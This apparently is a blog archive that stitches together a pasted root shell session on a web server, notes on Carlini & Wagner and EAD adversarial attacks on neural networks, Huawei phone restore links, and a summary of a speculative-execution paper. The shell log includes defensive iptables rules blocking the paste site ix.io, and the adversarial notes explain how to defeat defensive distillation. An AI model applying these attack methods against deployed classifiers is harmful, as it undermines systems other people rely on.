/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100100.php                                                                                                                                                                                                                                                      /www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100200.php                                                                                                                                                                                                                                                      /www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100300.php                                                                                                                                                                                                                                                      /www/wwwroot/openwrt.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/MariaDb1027Platform.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/Keywords/MariaDb102Keywords.php                                                                                                                                                                                                                                                     /www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/DefaultDbNameSolutionProvider.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/IncorrectValetDbCredentialsSolutionPr                                                                                                                                                                                                                                                   ovider.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/Solutions/SuggestUsingCorrectDbNameSolution.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/Solutions/UseDefaultValetDbCredentialsSolution.php                                                                                                                                                                                                                                                        /www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbLock.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbStore.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Queue/Failed/DynamoDbFailedJobProvider.php                                                                                                                                                                                                                                                   /www/wwwroot/openwrt.victoryang00.xyz/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/db-dumper/src/DbDumper.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/db-dumper/src/Databases/MongoDb.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/laravel-backup/src/Exceptions/CannotCreateDbDumper.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/laravel-backup/src/Tasks/Backup/DbDumperFactory.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php                                                                                                                                                                                                                                                     /www/wwwroot/openwrt.victoryang00.xyz/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MongoDbSessionHandler                                                                                                                                                                                                                                                   Test.php
/www/wwwroot/www.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/MariaDb1027Platform.php
/www/wwwroot/www.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/Keywords/MariaDb102Keywords.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/DefaultDbNameSolutionProvider.php                                                                                                                                                                                                                                                           /www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/IncorrectValetDbCredentialsSolutionProvid                                                                                                                                                                                                                                                   er.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/Solutions/SuggestUsingCorrectDbNameSolution.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/Solutions/UseDefaultValetDbCredentialsSolution.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbLock.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbStore.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Queue/Failed/DynamoDbFailedJobProvider.php
/www/wwwroot/www.victoryang00.xyz/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/db-dumper/src/DbDumper.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/db-dumper/src/Databases/MongoDb.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/laravel-backup/src/Exceptions/CannotCreateDbDumper.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/laravel-backup/src/Tasks/Backup/DbDumperFactory.php
/www/wwwroot/www.victoryang00.xyz/vendor/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php
/www/wwwroot/www.victoryang00.xyz/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MongoDbSessionHandlerTest                                                                                                                                                                                                                                                   .php
root@gaSRHj203877:/etc/init.d# locate DbSecurity
root@gaSRHj203877:/etc/init.d# cd ..
root@gaSRHj203877:/etc# ls
acpi                           environment      libnl-3            pam.conf                 sgml
adduser.conf                   fonts            libpaper.d         pam.d                    shadow
aliases                        fstab            lighttpd           papersize                shadow-
alternatives                   fstab.bak        locale.alias       passwd                   shells
apache2                        fuse.conf        locale.gen         passwd-                  skel
apm                            gai.conf         localtime          perl                     s-nail.rc
apparmor                       ghostscript      logcheck           pki                      sos.conf
apparmor.d                     groff            login.defs         pm                       ssh
apt                            group            logrotate.conf     polkit-1                 ssl
at.deny                        group-           logrotate.d        popularity-contest.conf  subgid
bash.bashrc                    grub.d           lsb-release        ppp                      subgid-
bash_completion                gshadow          ltrace.conf        profile                  subuid
bash_completion.d              gshadow-         machine-id         profile.d                subuid-
bindresvport.blacklist         gss              magic              protocols                sudoers
binfmt.d                       hdparm.conf      magic.mime         python                   sudoers.d
bt_lib.lock                    host.conf        mail               python2.7                sysctl.conf
byobu                          hostname         mailcap            python3                  sysctl.conf.dpkg-old                                                                                                                                                                                                                                                           ca-certificates                hosts            mailcap.order      python3.5                sysctl.d
ca-certificates.conf           hosts.allow      manpath.config     python3.6                sysstat
ca-certificates.conf.dpkg-old  hosts.deny       mime.types         rc0.d                    systemd
calendar                       ImageMagick-6    mke2fs.conf        rc1.d                    terminfo
console-setup                  init             modprobe.d         rc2.d                    thermald
containerd                     init.d           modules            rc3.d                    timezone
cron.d                         initramfs-tools  modules-load.d     rc4.d                    tmpfiles.d
cron.daily                     inputrc          motd               rc5.d                    ucf.conf
cron.hourly                    insserv          mtab               rc6.d                    udev
cron.monthly                   insserv.conf     my.cnf             rc.local                 ufw
crontab                        insserv.conf.d   mysql              rcS.d                    updatedb.conf
cron.weekly                    iproute2         nanorc             resolvconf               update-manager
cryptsetup-initramfs           iscsi            netplan            resolv.conf              update-motd.d
crypttab                       issue            network            rmt                      update-notifier
dbus-1                         issue.net        NetworkManager     rpc                      vim
debconf.conf                   kernel           networks           rsyslog.conf             vmware-tools
debian_version                 kernel-img.conf  newt               rsyslog.d                vtrgb
default                        ldap             nscd.conf          screenrc                 wgetrc
deluser.conf                   ld.so.cache      nsswitch.conf      securetty                X11
depmod.d                       ld.so.conf       ntp.conf           security                 xdg
dhcp                           ld.so.conf.d     ntp.conf.dpkg-old  selinux                  xml
docker                         legal            opt                sensors3.conf            zlibc.conf
dpkg                           letsencrypt      os-release         sensors.d                zmap
emacs                          libaudit.conf    overlayroot.conf   services                 zsh_command_not_found                                                                                                                                                                                                                                                          root@gaSRHj203877:/etc# cd r
rc0.d/      rc2.d/      rc4.d/      rc6.d/      resolvconf/
rc1.d/      rc3.d/      rc5.d/      rcS.d/      rsyslog.d/
root@gaSRHj203877:/etc# cd rc1.d/
root@gaSRHj203877:/etc/rc1.d# ld
ld: no input files
root@gaSRHj203877:/etc/rc1.d# ls
K01bt         K01redis     K02docker      K02nscd        K02open-vm-tools  K02thermald  K03iscsid   S02killprocs
K01nginx      K02arp-bind  K02irqbalance  K02ntp         K02php-fpm-72     K02ufw       K05rsyslog  S05single
K01pure-ftpd  K02atd       K02mysql       K02open-iscsi  K02sendmail       K02uuidd     README
root@gaSRHj203877:/etc/rc1.d# firewa;;-cmd --list-ports
-su: syntax error near unexpected token `;;'
root@gaSRHj203877:/etc/rc1.d# firewall-cmd --list-ports

Command 'firewall-cmd' not found, but can be installed with:

apt install firewalld

root@gaSRHj203877:/etc/rc1.d# apt install firewalld
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package firewalld
root@gaSRHj203877:/etc/rc1.d# ping https://lannis.cn/
ping: https://lannis.cn/: Name or service not known
root@gaSRHj203877:/etc/rc1.d# ping lannis.cn
PING lannis.cn (139.159.232.87) 56(84) bytes of data.
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=1 ttl=54 time=2.45 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=2 ttl=54 time=2.12 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=3 ttl=54 time=2.08 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=4 ttl=54 time=2.04 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=5 ttl=54 time=2.19 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=6 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=7 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=8 ttl=54 time=2.09 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=9 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=10 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=11 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=12 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=13 ttl=54 time=2.13 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=14 ttl=54 time=2.09 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=15 ttl=54 time=2.12 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=16 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=17 ttl=54 time=2.08 ms
^C
--- lannis.cn ping statistics ---
17 packets transmitted, 17 received, 0% packet loss, time 16017ms
rtt min/avg/max/mdev = 2.048/2.138/2.450/0.103 ms
root@gaSRHj203877:/etc/rc1.d# htop
root@gaSRHj203877:/etc/rc1.d# cat /etc/
Display all 206 possibilities? (y or n)
root@gaSRHj203877:/etc/rc1.d# cat /etc/h
hdparm.conf  host.conf    hostname     hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/h
hdparm.conf  host.conf    hostname     hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts
hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.deny

root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.allow

root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.deny

root@gaSRHj203877:/etc/rc1.d# nano /etc/hosts.deny
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s http://ix.io/1K8E -j DROP
iptables v1.6.1: invalid mask `1K8E' specified
Try `iptables -h' or 'iptables --help' for more information.
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s http://ix.io/ -j DROP
iptables v1.6.1: invalid mask `' specified
Try `iptables -h' or 'iptables --help' for more information.
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s ix.io -j DROP
root@gaSRHj203877:/etc/rc1.d# -I OUTPUT -p tcp -m string --string "ix.io" --algo bm -j DROP
-I: command not found
root@gaSRHj203877:/etc/rc1.d# iptables -I OUTPUT -p tcp -m string --string "ix.io" --algo bm -j DROP
root@gaSRHj203877:/etc/rc1.d# htop
root@gaSRHj203877:/etc/rc1.d# C

又见一篇 Berkeley 论文 Towards Evaluating the Robustness of Neural Networks

[latexpage]

在之前的 adversarial example 框架下,赵博又让我把模型转化成pb格式给这个论文转化的工具用,应该是之前的 baseline 跑数据太稳定了。

感谢这次学长给我的这个锅还是非常轻松的,因为这周去找高中同学吃饭,又和老婆玩,实在没时间,ddl太多。还得复习。

credit:https://blog.csdn.net/kearney1995/article/details/79904095

由于之前提出的防御性蒸馏实际上是一种"梯度遮蔽"的方法,作者也给出了防御性蒸馏有效性的解释。这里所说的蒸馏学习是原先hinton提出用来减少模型复杂度并且不会降低泛化性能的方法,具体就是在指定温度下,先训练一个教师模型,再将教师模型在数据集上输出的类别概率标记作为软标签训练学生模型。而在防御蒸馏模型中,选择两个相同的模型作为教师模型和学生模型。 

具体过程:

1、 先用硬标签训练教室模型,在文中的例子就是假设温度为T,则教室模型的Softmax层输出F(X)就是

\begin{equation}\nonumber F(X)=\Big[{e^{z_i(X)/T} \over {\sum_{l=0}^{N-1} e^{z_l(X)/T}}} \Big]_{i \in 0 \dots N-1} \end{equation}

再此基础上应用交叉熵损失训练模型。


2、然后用教师模型输出类别概率F(X)(注意,这里还是保持了温度T)实际上,这和T=1,即普通情况下训练模型,并没有什么太大区别,但我们还是与原文保持一致。

3、对于学生模型,我们还是利用温度T下的输出F(X)计算交叉熵损失函数,不过类别标签应用之前教师模型输出的软标签,进而进行训练。 对于使用软标签带来的好处,主要在于使用软标签F(X)使得神经网络能够在概率向量中找到的附加知识。 这个额外的熵编码了类之间的相对差异。 例如,在手写数字识别的背景下,给定一些手写数字的图像X,模型F可以评估数字7到F7(X)=0.6的概率以及标签1到F1(X)=0.4的概率,这表明7和1之间有一些结构相似性。

4、对于模型的预测输出,我们反而将温度T降为1,从而以高置信度来预测未知输入的类别。 实际上我们根本不需要前面的教师模型,只需要将F(X)作为神经网络的输出来最小化交叉熵损失函数既可以达到防御FGSM和JSMA的攻击。
  作者也对防御蒸馏的有效性进行的分析,对softmax层的输出求梯度可以很容易的得出:

\begin{equation}\nonumber \begin{aligned} {\partial F_i(X) \over \partial X_j}\Big|_T &= {\partial \over \partial X_j} \Big({e^{z_i/T} \over \sum_{l=0}^{N-1} e^{z_l/T}} \Big) \\ &= {1 \over g^2(X)} \Big({\partial e^{z_i(X)/T} \over \partial X_j}g(X)-e^{z_i(X)/T}{\partial g(X) \over \partial X_j} \Big) \\ &={1 \over g^2(X)}{e^{z_i/T} \over T}\Big(\sum_{l=0}^{N-1}{\partial z_i \over \partial X_j}e^{z_l/T}-\sum_{l=0}^{N-1}{\partial z_l \over \partial X_j}e^{z_l/T}\Big) \\ &={1 \over T}{e^{z_i/T} \over g^2(X)} \Big(\sum_{l=0}^{N-1}\big({\partial z_i \over \partial X_j}-{\partial z_l \over \partial X_j}\big) e^{z_l/T} \Big) \end{aligned} \end{equation}

这种攻击针对的就是LSTM法所做的优化,实际上完全无法攻击JSMA,C&W在优化后成功攻击该防御模型,若对防御蒸馏攻击的softmax的输出做梯度,得到的是零。所以这个操作的本质就是梯度遮蔽。

EAD: Elastic-Net Attacks to Deep Neural Networks via Adversarial Examples

中提到的就是Carlini & Wagner的一些新的改进

\begin{equation}\nonumber f(\boldsymbol{x},t) = \max \{\max_{j \neq t}[Logit(\boldsymbol{x})]_j - [Logit(\boldsymbol{x})]_t,-k\} \end{equation}

改变的目标函数依然没有变化。主要是加入了L1和L2弹性网络正则化项,之后只要做优化就OK

\begin{equation}\nonumber \begin{aligned} & \min_\boldsymbol{x} c \cdot f(\boldsymbol{x},t) + \beta ||\boldsymbol{x}-\boldsymbol{x}_0||_1 + ||\boldsymbol{x}-\boldsymbol{x}_0||_2^2 \\ & \text{s.t.} \quad \boldsymbol{x} \in [0,1]^p \end{aligned} \end{equation}

接下来就是数学问题了。

回归题目

作者也给出了防御性蒸馏有效性的解释,详见之前关于防御性蒸馏的文章,和那里面说的一样;不过关于jsma中选择像素对来进行修改的方法,作者做出了不一样的解释:
  假设softmax层最小的输入为-100,那么softmax层的对于该输入的输出为0,即使增加了10,由-100变成了-90,仍然为0,显然这对输出没有什么影响。而如果softmax层最大的输入为10,将其更改为了0,显然这会使得输出产生巨大的变化。而JSMA的攻击方式并不会考虑从0到10和从-100到-90的不同,他是一视同仁的。
 而在蒸馏训练之后,会使得这样的不同放大。假设输出类向量为:[ -674.3225 , -371.59705 , -177.78831 , 562.87225 ,-1313.5781 , 998.18207 , -886.97107 , -511.58194 ,-126.719666, -43.129272]。要改变类别实际上只需要第四个数比第六个数大即可(即562增长,998下降)。但是JSMA会由于增长562会使得例如-1313,-886的数增加很多而放弃。这实际上是算法本身的问题。
 要攻击防御性蒸馏模型实际上很简单,只需要不考虑这些其他的类向量值,只考虑需要超过的类向量和自身的类向量值即可,甚至可以只关注增加自身的类向量。
 因此作者Nicholas Carlini和David Wagner提出了一系列能够改变类向量的目标函数:

\begin{equation}\nonumber \begin{aligned} f_1(x') &= -loss_{F,t}(x')+1 \\ f_2(x') &= (max_{i \neq t} (F(x')_i) - F(x')_t)^+ \\ f_3(x') &= softplus(max_{i \neq t} (F(x')_i) - F(x')_t) -log(2) \\ f_4(x') &= (0.5 - F(x')_t)^+ \\ f_5(x') &= -\log(2F(x')_t -2) \\ f_6(x') &= (max_{i \neq t} (Z(x')_i) - Z(x')_t)^+ \\ f_7(x') &= softplus(max_{i \neq t}Z(x')_i) - Z(x')_t) - log(2) \end{aligned} \end{equation}

华为p30 5g/4g & Nova5pro 的谷歌解决方案

lzplayer光不灭,虽然服务器挂了,但是有一键复原功能,真的爽歪歪。

first of all, credit: https://www.youtube.com/watch?v=QsXvmAeqdFk&t=100s

你需要hi-suite 一键复原。下载地址1. https://www.youtube.com/redirect?v=QsXvmAeqdFk&event=video_description&redir_token=mD1b-UEQL8ecBSYBRnGYmcOWZ858MTU3MjA2NjU1N0AxNTcxOTgwMTU3&q=https%3A%2F%2Fconsumer.huawei.com%2Fcn%2Fsupport%2Fhisuite%2F 2. https://www.youtube.com/redirect?v=QsXvmAeqdFk&event=video_description&redir_token=mD1b-UEQL8ecBSYBRnGYmcOWZ858MTU3MjA2NjU1N0AxNTcxOTgwMTU3&q=https%3A%2F%2Fmega.nz%2F%23%21xvQDHARK%21_71gS-Gb7TAnCRBVVMi3Yiu_d51zG8vCUjEwMS21Qfo 3. https://www.youtube.com/redirect?v=QsXvmAeqdFk&event=video_description&redir_token=mD1b-UEQL8ecBSYBRnGYmcOWZ858MTU3MjA2NjU1N0AxNTcxOTgwMTU3&q=https%3A%2F%2Fmega.nz%2F%23%21li5VyIyJ%21nm3J8xETtHMeBmzd7lDW8gD5_hHS3KiseTGp_ChDpF0 4. https://www.youtube.com/redirect?v=QsXvmAeqdFk&event=video_description&redir_token=mD1b-UEQL8ecBSYBRnGYmcOWZ858MTU3MjA2NjU1N0AxNTcxOTgwMTU3&q=https%3A%2F%2Fmega.nz%2F%23%21lywVmaKD%21W5hcsLKueminEcDqXUTSsUoOHMolTtFGI_NaQlPGqbo

下次写个自动脚本。

由组会引发的顶会浏览

组会开的是这篇文章看到今年的 MICRO2019 华为仍是最大赞助商之一,我就放心了,学术界是没有国界的这句话在绝大多数情况下都是使用的。

来看看这篇论文,来自UIUC的Mengjia Yan,会议在日本(有点想去)。

首先是预测,cpu需要通过既有个个进程的资源占用率来预测未来分配,以减少不当分派带来的 fairness between threads & security maliciousness 。同时,有些线程( OS 上多了)或程序跑到某一时间段后从安全态到了非安全态或切换状态的时候会影响调度结果,所以 CPU scheduler 也会预测各个分支。现在工业界主要的方法是启发式的预测方法,这比 OS 课上习得的 FCFS、SJF、SRFS 以及古老的RR要性能好。

文章中提到了一个幽灵漏洞的 naïve version 的攻击方式,叫 speculative execution attacks 。假设 Cache will point to the place in drive (这里的 Cache 上不一定存数据,可能是映射到另外一个地址空间),那就提出一个新的 cache 区域作为 buffer ,经过 LLC 后放在 Cache 上。读入一遍后,只要看速度就能得出漏洞可能存在的位置。

P.S.赵博提出一个问题:读的时候数据会擦除下一位的数据留在 cache ,实际上是由 LLC 部分编程去除解决的。但因为是比较 naive 的算法的,大不了扫100次,再比较之。